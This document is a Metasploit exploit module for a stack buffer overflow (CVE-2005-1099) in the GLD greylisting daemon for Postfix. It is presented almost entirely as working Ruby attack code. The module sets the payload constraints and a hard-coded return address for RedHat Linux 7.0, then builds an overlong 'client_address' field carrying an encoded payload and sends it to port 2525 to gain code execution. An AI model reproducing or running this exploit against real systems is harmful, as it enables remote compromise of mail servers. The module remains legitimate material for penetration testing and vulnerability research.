Salim Gasmi GLD (Greylisting Daemon) – Postfix Buffer Overflow (Metasploit)
## # $Id: gld_postfix.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'GLD (Greylisting Daemon) Postfix Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the Salim Gasmi GLD <= 1.4 greylisting daemon for Postfix. By sending an overly long string the stack can be overwritten. }, 'Version' => '$Revision: 9669 $', 'Author' => [ 'patrick' ], 'Arch' => ARCH_X86, 'Platform' => 'linux', 'References' => [ [ 'CVE', '2005-1099' ], [ 'OSVDB', '15492' ], [ 'BID', '13129' ], [ 'URL', 'http://www.milw0rm.com/exploits/934' ], ], 'Privileged' => true, 'License' => MSF_LICENSE, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00\x0a\x0d\x20=", 'StackAdjustment' => -3500, }, 'Targets' => [ [ 'RedHat Linux 7.0 (Guinness)', { 'Ret' => 0xbfffa5d8 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 12 2005' )) register_options( [ Opt::RPORT(2525) ], self.class ) end def exploit connect sploit = "sender="+ payload.encoded + "\r\n" sploit << "client_address=" + [target['Ret']].pack('V') * 300 + "\r\n\r\n" sock.put(sploit) handler disconnect end end |